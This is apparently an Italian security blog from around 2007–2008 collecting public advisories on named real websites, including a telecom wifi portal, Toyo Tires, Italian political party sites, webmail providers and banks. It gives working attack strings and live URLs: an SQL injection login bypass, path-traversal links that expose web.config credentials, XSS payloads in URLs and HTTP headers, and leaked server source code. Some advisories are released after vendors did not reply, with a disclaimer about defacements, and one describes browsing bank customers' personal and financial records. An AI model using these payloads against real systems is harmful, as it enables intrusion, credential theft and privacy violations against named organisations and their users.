Eutelia, Remote File Inclusion, XSS etc etc etc
Cattivi e buoni programmatori anno 2008. Sarà perchè vengo dalla lettura dell'ultimo libro di joel, sarà perchè ultimamente sto facendo altri tipi di studi, ma più mi sforzo e più non riesco a spiegarmi come si possano realizzare prodotti scadenti.
Analiziamo per punti.
- Eutelia (sembra) non sviluppare mai da zero i propri siti, si affida a componenti CMS Opensource (Joomla).
- Nel caso in cui si presenti la necessità di integrare sistemi di business logic, questi vengono realizzati internamente.
- Sembra non si curi di aggiornare i prodotti di terze parti free utilizzati.
- Sembra non avere un team di beta testers.
- Sembra non aver sottoscritto contratti di penetration testing.
Per il punto uno e due c'è poco da argomentare.
Punto tre, la storia di Joomla è piena di vulnerabilità, lo sappiamo tutti e secunia ce lo ricorda molto volentieri [2]. Dall'anno 2003, anno di rilascio di questo prodotto, ben tredici advisories sono stati rilasciati, lode al team di joomla per aver risposto sempre velocemente con una percentuale del 85% di bug fix. A gennaio è stato rilasciato un advisory che permette ad utente (senza privilegi) di prendere il totale controllo dell'applicativo.. avranno scaricato ed installato le patch? (no).
Comunque, se i punti quattro e cinque non fossero veri, non sarei qui a scrivere questo ed altri post. Già alla fine di maggio dell'anno scorso [1], inciampai per sbaglio nel codice di questi programmatori. A distanza di circa un anno, sono dovuto tornare sul portale di eutelia per alcune ricerche, e, anche questa volta, ho trovato un altra perla del software. Stiamo parlando del prodotto EuteliaVOIP, nome dietro il quale si cela la lodevole iniziativa di portare la connettività nelle zone non ancora coperte da ADSL.
Con il tempo, Eutelia ha installato access point wifi che permettono, a fronte di una sottoscrizione, di navigare in velocità ADSL. Data la verifica di copertura del segnale da parte degli utenti prima e di tecnici eutelia poi, è possibile navigare in internet. Cool.
Attivare una connessione è più o meno semplice, basta acquistare uno starter kit (199€) e sottoscrivere l'abbonamento. Fatto questo verranno consegnate delle credenziali che, dopo essere validate dall'applicativo, permetteranno all'utente di avere una vita su internet. Per fare questo ci si collega all'indirizzo http://wifi.euteliavoip.com si seleziona la voce "Attiva Login" il sistema valida le credenziali e e così via. Tutto sembra andare liscio come l'olio, ma dando una piccola sbirciata "under the hood" ci troviamo davanti ad un altra cattiva (nulla) introduzione di sistemi di sicurezza.
Come è logico aspettarsi, il componente di accesso è sotto HTTPS, e viene visualizzato all'utente grazie ad un "iframe". Lo stesso avviene per i form di richiesta credenziali. Ora il problema non è tanto con l'implementazione (che sicuramente non è delle più eleganti), ma è con il componente stesso.
Nel momento in cui viene effettuato il click sul pulsante "Avanti" l'applicativo invia in le seguenti variabili
- wc_login (username)
- wc_password (password)
- wc_retpath (return path?)
- wc_dbos
- CmdAttiva
5 paramentri, di cui solo due sono valorizzati dall'utente. Uhm? Veloce controllo dei valori passati e... "ding". Supponiamo che tentiate il login con l'utenza "prova - prova", ecco i valori delle cinque le variabili.
wc_login = "prova" wc_password = "prova" wc_retpath = "wbc_skpopenaccountwifi" wc_dbos = "dbeutelia" CmdAttiva = "Attiva"
Il motivo dell'esistenza della variabile wbc_retpath è sconosciuto, perchè, anche settandola con altri valori (anche di altri componenti di eutelia) essi non sembrano in alcun modo influenzare l'applicativo, la cosa sconcertante è notare che.. il valore wc_dbos è il valore utilizzato dall'applicativo per indentificare il database su cui eseguire le query! Nel caso in cui non vengano effettuate modifiche a questa variabile si riceve l'errore
Email o Password errati E' anche possibile che la sottoscrizione non sia stata ancora confermata, controllore la propria casella di posta. Cliccare sul bottone "Indietro" del browser.....
Se invece si cambia il valore in qualsiasi altra cosa.. si riceve l'errore che, tristemente, ci conferma l'impossibilità di aprire il database richiesto o_O.
Naturalmente è possibile modificare a piacimento il valore di questa variabile per andare a renderizzare qualsiasi tipo di codice (anche php) all'interno dell'applicativo stesso. E attenzione quando si dice questo, perchè l'inclusione di codice remoto può portare a spiacevoli conseguenze.
Per dimostrare la vulnerabilità, ci limiteremo a valorizzare la variabile con il seguente codice
<iframe src="http://www.ansa.it" width="600" height="800">
Le conclusioni.. le lascio a voi. Auguro ad Eutelia di trovare programmatori che si possano definire tali e sopratutto di rivedere le proprie regole di rilascio in produzione.. sempre che esse esistano.
Riferimenti:
[1] "Tecniche errate di prevenzione, un esempio reale" - http://www.cyphersec.com/?p=76
[2] "Joomla! 1.x - Vulnerability Report" - http://secunia.com/product/5788/?task=statistics
Advisory: Toyo Tires
Update: non avendo ricevuto risposta, rilascio le info necessarie. As usual, non mi assumo alcuna responsabilità per eventuali defacement e/o alterazioni al contenuto del sito in questione.
toyo.com
Alessio Marziali
www.cyphersec.com
Vendor contattato il : 27/11/2007
Risposta Vendor : no
Rilasciato pubblico: 03/12/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : BEX Management - Shaw Binary Systems Inc
Digitando http://www.toyo.com/admin si arriva alla pagina di login del componente BEx Management della Shaw Binary Systems Inc. Il componente è vulnerabile a SQL Injection. Questo significa che, anything' OR 'x'='x legata ad una qualsiasi username ci apre le porte del reame Toyo.
Cosa è possibile fare una volta effettuato il login:
- Inserire codice XSS per contaminare più computer possibili attraverso keyloggers, malaware etc.
- Inserire informazioni errate
- Inserire informazioni per distruggere la credibilità dell'azienda stessa
- etc etc
Cosa interessante è che nella pagina di login, senza alcuna bisogno di loggarsi, è possibile aggiungere dealers toyo.. http://www.toyo.com/admin/dealers.asp
Al momento non ho effettuato ulteriori ricerche, ne provato ulteriori dork. Nel caso, fatemi sapere.
Protected: Advisory: difesa.it
Advisory:veltroniperlitalia.it ed altri (Path Traversal)
Cosa succede quando unisci due tool come Google2TXT e TPF?
Succede che continui a recuperare una vasta serie di informazioni che potrebbero essere utili a qualcuno.
Per esempio, utilizzando la dork "inurl:gw/producer/dettaglio.aspx?" Google2TXT restituisce 28 risultati. Successivamente, dopo aver filtrato i risultati ed averli passati a PTF (test mode), vengono rilevate valide le seguenti chiamate:
2: http://www.axia.org/gw/producer/index.aspx?t=/gw/producer/dettaglio.aspx
3: http://www.nessuno.tv/gw/producer/index.aspx?t=/web.config
5: http://www.veltroniperlitalia.it/gw/producer/index.aspx?t=/web.config
6: http://www.unibasket.it/gw/producer/index.aspx?t=/web.config
7: http://dev.nessunotv.dol.it/gw/producer/index.aspx?t=/web.config
Giuro che non lo faccio di proposito, ma ogni volta che cerco vulnerabilità salta fuori sempre qualche sito politico.
lanuovastagione.it, il codice incriminato
Continuiamo a parlare di lanuovastagione.it, un altro degli scandali italiani.
L'applicativo non solo ci mette a disposizione il web.config.. ma ci mostra anche il codice sorgente.
Sei giorni sono passati. Di risposte o di fix nemmeno l'ombra. Credo che i tempi siano maturi per rilasciare pubblicamente il codice sorgente. L'applicativo è sviluppato in Visual Basic.NET. E' stato scelto di non compilare il codice, ma di lavorare in codebehind lasciando i sorgenti direttamente all'interno del server. Questo significa che, per ogni pagina aspx presente è possibile recuperare il codice sorgente andando ad interrogare il relativo file .aspx.vb.
Prestate attenzione alle query e alla gestione delle variabili "template".
NB : Il ragionamento si applica anche ai seguenti siti.
http://www.diregiovani.it/
http://www.dsonline.it/
http://www.saperidemocratici.it/
http://www.italiafrica.it/
http://bologna07.festaunita.it/
http://byebye900.festaunita.it/
Buona lettura.
Live http://www.lanuovastagione.it/gw/producer/dettaglio.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\dettaglio.aspx.vb
1: Partial Class gw_producer_dettaglio
2: Inherits System.Web.UI.Page
3:
4: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
5:
6: End Sub
7: Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
8: Dim id_doc As Integer = DOL.snippets.defval(Request("id_doc"), 0)
9: Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
10: Dim documento As storyega.documento = New storyega.documento(cenvironment.ConnectionString, id_doc)
11: meta = documento.getMeta
12: 'checkRights(meta)
13: Dim template As String = DOL.snippets.defval(Request("t"), "")
14:
15: If template.Length = 0 Then
16: template = DOL.snippets.defval(DOL.utility.sql.getSQLSingleValue("select templatepath from gw_doc_plain where id=" & id_doc, cenvironment.ConnectionString), "/gw/template/dettaglio.htm")
17: End If
18:
19: 'CODICE SPECIFICO AXIA
20: 'Inserire qui il codice utente necessario per inizializzare la pagina
21: Try
22: glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
23: Catch ex As Exception
24: Response.Write("error on: " & template)
25: 'Response.Redirect("http://wwww.dsonline.it" & template & "?id_doc=" & id_doc)
26: End Try
27: End Sub
28:
29: Private Function getDataDoc(ByVal id_doc As Integer) As Date
30: Dim sql As String = String.Format("SELECT data_doc FROM DOCUMENTO WHERE id_doc={0} ", id_doc)
31: Dim datadoc As Date = Nothing
32: Try
33: datadoc = DOL.utility.DB.SQLClient.getSingleValue(cenvironment.ConnectionString, sql)
34: Catch ex As Exception
35: End Try
36: Return datadoc
37: End Function
38: End Class
Live http://www.lanuovastagione.it/gw/producer/index.aspx
Link : http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\index.aspx.vb
1: Partial Class gw_producer_index
2:
3: Inherits System.Web.UI.Page
4:
5: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
6: End Sub
7:
8: Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
9: 'Dim navman As StoryeGA.StoryeNavigationManager
10: 'navman = New StoryeGA.StoryeNavigationManager(Navigatore)
11: 'navman.connectionString = cenvironment.ConnectionString
12: 'navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
13: 'Select Case DOL.snippets.defval(Request("o"), 1)
14: ' Case 0
15: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
16: ' navman.sqlSortFieldName = "sortorder"
17: ' Case 1
18: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
19: ' navman.sqlSortFieldName = "sortorder"
20: ' Case 2
21: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
22: ' navman.sqlSortFieldName = "ID"
23: ' Case 3
24: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
25: ' navman.sqlSortFieldName = "ID"
26: ' Case 4
27: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
28: ' navman.sqlSortFieldName = "text3"
29: ' Case 5
30: ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
31: ' navman.sqlSortFieldName = "ID"
32: 'End Select
33: ' ''navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
34: ' ''navman.sqlTableName = "VIEW_ATTR_VIDEOPOST_EXT"
35: ' ''navman.sqlSortFieldName = "id_blogdoc"
36: ' ''navman.go()
37: ''Dim param As System.Collections.SortedList = New System.Collections.SortedList
38: 'Dim param As New System.Collections.Hashtable
39: 'param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
40: 'param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
41: 'param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
42: 'Dim pipo As StoryeGA.ListDocNavmanagerMetaBuilder = New StoryeGA.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
43: 'pipo.setParam(param)
44: 'Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
45: 'meta.Add("DOC", pipo.getMeta)
46: 'Dim template As String = DOL.snippets.defval(Request("t"), "")
47: ''Inserire qui il codice utente necessario per inizializzare la pagina
48: 'Try
49: ' glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
50: 'Catch ex As Exception
51: ' Response.Write(ex.Message)
52: ' Response.End()
53: 'End Try
54: Dim navman As storyega.StoryeNavigationManager
55: navman = New storyega.StoryeNavigationManager(Navigatore)
56: navman.connectionString = cenvironment.ConnectionString
57: navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
58:
59: Select Case DOL.snippets.defval(Request("o"), 1)
60: Case 0
61: navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
62: navman.sqlSortFieldName = "sortorder"
63: Case 1
64: navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
65: navman.sqlSortFieldName = "sortorder"
66: Case 2
67: navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
68: navman.sqlSortFieldName = "ID"
69: Case 3
70: navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
71: navman.sqlSortFieldName = "ID"
72: Case 4
73: navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
74: navman.sqlSortFieldName = "text3"
75: Case 5
76: navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
77: navman.sqlSortFieldName = "text3"
78: End Select
79:
80: Dim param As System.Collections.Hashtable = New System.Collections.Hashtable
81: param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
82: param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
83: param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
84:
85: Dim pipo As storyega.ListDocNavmanagerMetaBuilder = New storyega.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
86: pipo.setParam(param)
87: Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
88: meta.Add("DOC", pipo.getMeta)
89: Dim template As String = DOL.snippets.defval(Request("t"), "")
90: 'Inserire qui il codice utente necessario per inizializzare la pagina
91: Try
92: glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
93: Catch ex As Exception
94: Response.Write(ex.Message)
95: Response.End()
96: End Try
97: End Sub
98: End Class
Live http://www.lanuovastagione.it/servizi/ec/contributi.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\servizi\ec\contributi.aspx
1: Imports DOL.utility
2:
3: Partial Class contributi
4: Inherits System.Web.UI.Page
5:
6: Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
7: 'Inserire il codice da eseguire prima degli eventi di pagina
8: End Sub
9:
10: Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
11: 'Inserire il codice da eseguire dopo gli eventi di pagina
12: Dim template As String = DOL.snippets.defval(Request("t"), "")
13: If template.Length = 0 Then template = "/servizi/ec/contributi.htm"
14: 'Inserire qui il codice utente necessario per inizializzare la pagina
15: glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, Nothing)
16: End Sub
17:
18: Private Sub btInvia_Click(ByVal sender As System.Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles btInvia.Click
19: If Page.IsValid Then
20:
21: ''' invia i dati alla banca
22: 'Inserire qui il codice utente necessario per inizializzare la pagina
23: 'Me.lblResult.Text = MAC
24: Dim flag As Integer = 0
25:
26: Dim _importo As Long = Val(Me.txImporto.Text) * 100
27: flag += 1
28: Me.Label1.Text &= flag & " "
29: Dim bankpass As New CBankPass
30: bankpass = New CBankPass(_importo)
31: flag += 1
32: Me.Label1.Text &= flag & " "
33:
34: Dim rp As New DOL.RemotePost
35: With rp
36: .Add("IMPORTO", _importo)
37: .Add("VALUTA", bankpass.Valuta)
38: .Add("NUMORD", bankpass.Numord)
39: .Add("IDNEGOZIO", bankpass.Idnegozio)
40: flag += 1
41: Me.Label1.Text &= flag & " "
42: .Add("URLBACK", bankpass.Urlback & "?NUMORD=" & Server.UrlEncode(bankpass.Numord))
43: flag += 1
44: Me.Label1.Text &= flag & " "
45: .Add("URLDONE", bankpass.Urldone)
46: .Add("URLMS", bankpass.Urlms)
47: .Add("TCONTAB", bankpass.Tcontab)
48: .Add("TAUTOR", bankpass.Tautor)
49: .Add("MAC", bankpass.MACRequest(Me.Server))
50: flag += 1
51: Me.Label1.Text &= flag & " "
52: .Url = bankpass.Bankpassurl
53:
54: ' prima di inviare salvo su database il tentativo di transazione
55: Dim sql As String = ""
56: Dim fields As New System.Collections.Specialized.NameValueCollection
57: With fields
58: .Add("nome", DB.Common.SQLTConv(Me.txNome.Text))
59: .Add("cognome", DB.Common.SQLTConv(Me.txCognome.Text))
60: .Add("email", DB.Common.SQLTConv(Me.txEmail.Text))
61: .Add("telefono", DB.Common.SQLTConv(Me.txTelefono.Text))
62: .Add("citta", DB.Common.SQLTConv(Me.txCitta.Text))
63: .Add("cap", DB.Common.SQLTConv(Me.txCap.Text))
64: .Add("provincia", DB.Common.SQLTConv(Me.txProvincia.Text))
65: .Add("importo", DB.Common.SQLNConv(CType(_importo, Double) / 100.0))
66: .Add("valuta", DB.Common.SQLNConv(bankpass.Valuta))
67: .Add("numord", DB.Common.SQLTConv(bankpass.Numord))
68: .Add("tcontab", DB.Common.SQLTConv(bankpass.Tcontab))
69: .Add("tautor", DB.Common.SQLTConv(bankpass.Tautor))
70: .Add("inlist", IIf(Me.ckPublic.Checked, 1, 0))
71: End With
72: Me.Label1.Text &= flag & " "
73: .Url = bankpass.Bankpassurl
74:
75: sql = DB.Common.BuildSQLINSERT("LOOKUP_TRANSAZIONI", fields)
76: Me.Label1.Text &= "<br>" & sql & "<br>" & cenvironment.ConnectionString
77: 'Exit Sub
78: Try
79: DB.SQLClient.doexec(cenvironment.ConnectionString, sql)
80: 'Me.Label1.Text &= flag & " "
81: 'Exit Sub
82: '.Url = bankpass.Bankpassurl
83: .Post()
84: Catch ex As Exception
85: Me.Label1.Text = ex.Message
86: Finally
87: End Try
88: End With
89: End If
90: End Sub
91:
92: Private Sub CustomValidator1_ServerValidate(ByVal source As System.Object, ByVal args As System.Web.UI.WebControls.ServerValidateEventArgs) Handles CustomValidator1.ServerValidate
93: args.IsValid = IsNumeric(Me.txImporto.Text)
94:
95: If Not args.IsValid Then
96: Return
97: End If
98:
99: For i As Integer = 1 To Me.txImporto.Text.Length
100: Dim s As String = Mid(Me.txImporto.Text, i, 1)
101: If Not ("0" <= s And s <= "9") Then
102: args.IsValid = False
103: Return
104: End If
105: Next
106: args.IsValid = True
107: End Sub
108: End Class
Advisory: lanuovastagione.it ed altri [xss e le credenziali amministrative in chiaro]
Sarò sincero. E' tutto il giorno che mi pongo la domanda : "dovrei rilasciare pubblicamente le vulnerabilità rilevate o dovrei contattare direttamente il vendor ed informarlo del tutto?"
Non ce la faccio.
Domenica scorsa parlavo di un interessante argomento. L'importanza dei programmatori nell'era del mondo digitale. Siamo a tre giorni dalle primarie ed ecco come si presenta il comitato per il partito democratico di Walter Veltroni & company. Una catastrofe.
Mi rendo conto di rischiare e anche grosso pubblicando queste informazioni. Ma qualcuno deve pur capire a cosa si va incontro continuando a portare avanti questa politica di settore.. ahimè totalmente errata.
Partiamo da Cross Site Scripting. La pagina index.aspx, attraverso il non controllo della variabile GET t può condurre a differenti exploit. Ecco un esempio. Il codice javascript non codificato HTML è il seguente
1: </xss
2: /*complimenti signori*/
3: style=xss:expression(alert('owned'))
4: >
il quale codificato HTML si trasforma in
1: /* Cyphersec.com
2: 11 settembre 2007
3: www.lanuovastagione.it [index.aspx] || craftato con IE ||
4: variabile GET t non verificata >> XSS
5: */
6:http://www.lanuovastagione.it/gw/producer/index.aspx?t=%3C%2Fxss%2F%2Acomplimenti%20signori%2A%2Fstyle%3Dxss%3Aexpression%28alert%28%27owned%27%29%29%3E
Ma non finisce qui. Le vulnerabilità SQL Injection (su ricerca.aspx) diventano inutili quando possiamo tranquillamente andare a recuperare username e password ed altre informazioni "critiche" dal file web.config. Si avete letto bene. L'applicativo in questione vi mostrerà tutto.. ma proprio tutti i file che sono presenti all'interno della directory virtuale. Come?
Aprite il sito www.lanuovastagione.it nel menù in alto identificate la voce "discorsi ed intervalli" controllate il link a cui porta. DING!
vedete la nostra tanto amata variabile t? si vedete bene. questa variabile.. legge il contenuto della pagina (occhio ai valori querystring) /documenti/indice.htm e ne renderizza il contenuto a video. Bene perfetto.. complimenti ancora.
Come i programmatori .NET sapranno.. le applicazioni web "dovrebbero" archiviare le informazioni importanti in un file chiamato web.config. Questo file non può (e grazie a dio) essere visualizzato a video attraverso una chiamata diretta. Per esempio
1: http://www.lanuovastagione.it/web.config
vi ripoterà ad una pagina .NET la quale v'informerà che non potete visualizzare il suo contenuto perché a livello di architettura il framework non lo permette. giustissimo.
Con dispiacere.. andando a trasformare t=/documenti/indice.htm&<serie di chiave valore> in t=\web.config arriviamo a questo link
1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/web.config
Cosa ho fatto? ho semplicemente chiesto di chiamare sulla root principale il file web.config. Se notate si aprirà una pagina totalmente bianca (o del colore di background da voi impostato). Tutto qui? No. La pagina è stata correttamente renderizzata.. solo che non è visibile... Ora provate a fare "Visualizza Sorgente Pagina" o (se preferite) "View Source" e copritevi gli occhi.
username e password + databasename del database contenete i contenuti del portale. Poco importa se il database, a prima vista, sembra non essere totalmente esposto su internet. Ma che dire dei valori "impersonateLogin" e "ImpersonatePassword" oppure dei valori contenuti nel ramo "credentials"?
Vergogna.
update : su suggerimento di Denis, utilizzando la dork "inurl:/index.aspx?t=" sono "saltati" fuori altri siti vulnerabili.
http://www.diregiovani.it/gw/producer/index.aspx?t=/web.config
http://www.dsonline.it/gw/producer/index.aspx?t=/web.config
http://www.saperidemocratici.it/gw/producer/index.aspx?t=/web.config
http://www.italiafrica.it/gw/producer/index.aspx?t=/web.config
http://bologna07.festaunita.it/gw/producer/index.aspx?t=/web.config
http://byebye900.festaunita.it/gw/producer/index.aspx?t=/web.config
Advisory: Banca di Credito Cooperativo Alta Padovana: XSS,SQL Injection
La banca di Credito Cooperativo dell'Alta Padovana Scrl è una piccola realtà del settore bancario attiva nella regione veneto. Il sito reperibile all'indirizzo www.altapd.it è affetto dalle seguenti vulnerabilità: Except Header Manipulation (Apache Vuln) SQL Injection (faqdetail.php). La prima vulnerabilità si risolve automaticamente aggiornando all'ultima versione disponibile del software Apache. Data la mancanza di autorizzazione, non è stato possibile investigare sui possibili effetti della manipoalzione del paramentro ID richiesto dalla pagina faqdetail.php. Impossibilitato a verificare la vulnerabilità SQL injection, e, non essendo possibile modificare il valore del Header Except data una richiesta client, questo advisory si assesta sul livello (low).
www.altapd.it
Alessio Marziali
www.cyphersec.com
06/06/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Except Header Manipulation (conseguenza xss)
Componente Vulnerabile : WebServer Apache
Proof of Concept: Visualizzazione alert JavaScript "XSS"
GET / HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.altapd.it
Connection: Close
Expect: < script>alert('XSS')< /script>
Pragma: no-cache
Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : faqdetail.php (cartella scriptroot)
Proof of Concept: Visualizzazione errore MySQL
http://www.altapd.it/scriptroot/faqdetail.php?id='
Advisory: webmail.register.it / webmail.inet.it [XSS]
Dopo Aruba S.p.A è il turno di Register.it e Inet.it altri due "giganti" del settore Hosting Italiano. Anche questa volta sotto la lente d'ingrandimento sono finite due degli applicativi maggiormente utilizzati per la gestione della posta elettronica via web.
Come molti avranno notato, i test sono principalmente indirizzati alla rilevazione di falle di tipo Cross Site Scripting. La mia preoccupazione più grande, che mi sento in dovere di denunciare, è la totale assenza dell'adozione di canali di codifica per il transito delle credenziali. Sinceramente mi stupisco di come sia possibile il non utilizzo di canali https per applicazioni "sensibili" come le webmail. Purtroppo, questa grave dimenticanza rende possibile lo spoofing delle credenziali di accesso degli utenti sotto controllo da maleintenzionati (si, parlo a te che sniffi la rete wifi del tuo vicino).
Tornando al nostro post; ecco gli ormai "familiari" advisory:
webmail.register.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : Cookie
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
GET http://webmail.register.it:80/login.html HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: webmail.register.it
Cookie: cookie%5Bdomain%5D=deleted;cookie%5Buserid%5D=>">< script%20%0a%0d>alert('XSS')%3B< /script>;PHPSESSID=1ca9f22c7e32522815ede79b29ca9fe9;__utma=177195445%2E1258436166%2E1180555463%2E1180555463%2E1180555463%2E1;%20path=%2F;%20expires=Sun%2C%2018%20Jan%202038%2000%3A00%3A00%20GMT;%20domain=acunetix%2Ecom;=111-222-1933email@address.com;__utmb=177195445;__utmc=177195445;__utmz=177195445%2E1180555462%2E1%2E1%2Eutmccn%3D%28direct%29%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29;%20%20expires=Thu%2C%2029%20Nov%202007%2008%3A04%3A22%20UTC;GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Connection: Close
Pragma: no-cache
webmail.inet.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : index.cgi
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
http://webmail.inet.it:80/?lang=< script%20%0a%0d>alert('XSS')%3B< / script>
L'invito è sempre il solito.
1)Evitare l'uso di questi servizi mail per la trasmissione di comunicazioni sicure.
2)Se il punto 1 non è attuabile, utilizzare FireFox ed abilitare NoScript per i servizi indicati.
A volte bisogna imparare dai grandi per riuscire a fare prodotti sicuri.
Advisory: Aruba WebMail
Aruba WebMail XSS.
Data : 25/07/2007
Alessio Marziali
www.cyphersec.com
Vulnerabilità rilevate : Cross Site Scripting
Componente Vulnerabile : webmail.cgi
Effetti : Al fine di recuperare il maggior numero di credenziali, un utente malintenzionato può modificare il contenuto della pagina ed avviare una sessione di phishing.
Impatto : Stando a quanto affermato nella pagina "chi siamo" Aruba S.p.A gestisce 3.500.000 caselle e-mail, la quale di fatto aumenta il livello di criticità ad "elevato".
[Proof of Concept 1] Javascript Alert, Cambio Titolo, Modifica Contenuto.
Risoluzione alla vulnerabilità: Per i tradizionali scopi di utilizzo, la valorizzazione del parametro "msg" non deve accettare i valori passati via querystring.
Consiglio agli utenti : Disabilitare Javascript tramite plugins come quello sviluppato da Giorgio Maone "[NoScript]"
Update : Attraverso il forum community.aruba.it, nel 15/12/2006 la stessa vulnerabilità fu segnalata ad Aruba S.p.A; Ad oggi nessun intervento è stato effettuato per risolvere questa grave falla.
Riferimenti : Security for GWT Applications
Enti bancari e privacy.. sono i vostri dati al sicuro?
Purtroppo non è così. Ieri sera alle ore 21.50 ho inviato ho contattato una delle più grandi banche italiane segnalando multiple vulnerabilità su un sito "ad uso interno", che invece non lo era. L'applicativo in questione, sviluppato con una logica da programmatore di 2 mesi d'esperienza, permetteva (a chiunque ne facesse richiesta) di visionare i seguenti dati:
Nome,Cognome,Codice Fiscale,Data di Nascita,Età,Telefono,Cellulare,Residenza,
Datore di lavoro,Reddito Mensile,Coordinate Bancarie etc etc
Per chi si sta chiedendo come sia possibile recuperare determinate informazioni.. ecco cosa ho fatto.
Google Query : allinurl:xxxxx.it
Tra la lista appare inforxxx.xxxx.it il quale risponde all'indirizzo IP 195.7.xx.xx. Cercando tra i diversi indirizzi IP si arriva a 195.x.xx.xx. Ho fatto solo uno scan sulle porte più frequenti per scoprire che la porta 80 è aperta.
Aprendo dunque, http://195.x.xx.xxx:80 si arriva ad un sito il quale presenta un form di accesso "PRECOMPILATO" di tutti i valori necessari ad eseguire il login. Una volta che si ottiene l'accesso al sito è possibile utilizzare la funzione "Ricerca Clienti" per recuperare tutte le informazioni che si vogliono. A partire dal CDG di un fantomatico "XXXXX XXXX" (3X1XXX) è possibile tentare di recuperare informazioni su più clienti. Tutto il mondo sà che il signor "XXXXX XXXX codice fiscale : XXXXXXXX residente in VIA GIOXX DA XXXXXX, 29 è un operaio artigiano con un reddito di 1.100.00€. Lavora per la COOPERATIVA XXXX a XXXX in VIA F.XXXXX 166. Il suo numero di telefono è 055XXXXXX. Le sue cordinate bancarie sono Abi:XXXXX, Cab: XXXXX, C/C XXXXXXXXX)
Ma non solo. Il sito è affetto dalle seguenti vulnerabilità:
Cross Site Scripting (startxml.asp)
SQL Injection (pass.asp)
[Proof of Concept]
inviare via post alla pagina startxml.asp i seguenti valori
ABIBANCA=>">&ANAGRAFICAPDL=INTERNO%20XXXX%2EIT&CABFILIALEOPERATIVA=38XXX&CODICEFILIALE=9&submit1=XML%20per%20accesso%20XXXX
Mi viene da chiedermi, ma chi lavora con dati di una certa rilevanza non dovrebbe avere delle regole di sviluppo per evitare queste pubbliche violazioni della privacy? A quanto sembra no.
Update : Nel momento in cui scrivo l'host è ancora raggiungibile, ma attenzione, adesso la risposta è un bel "Bad Request (Invalid Hostname)".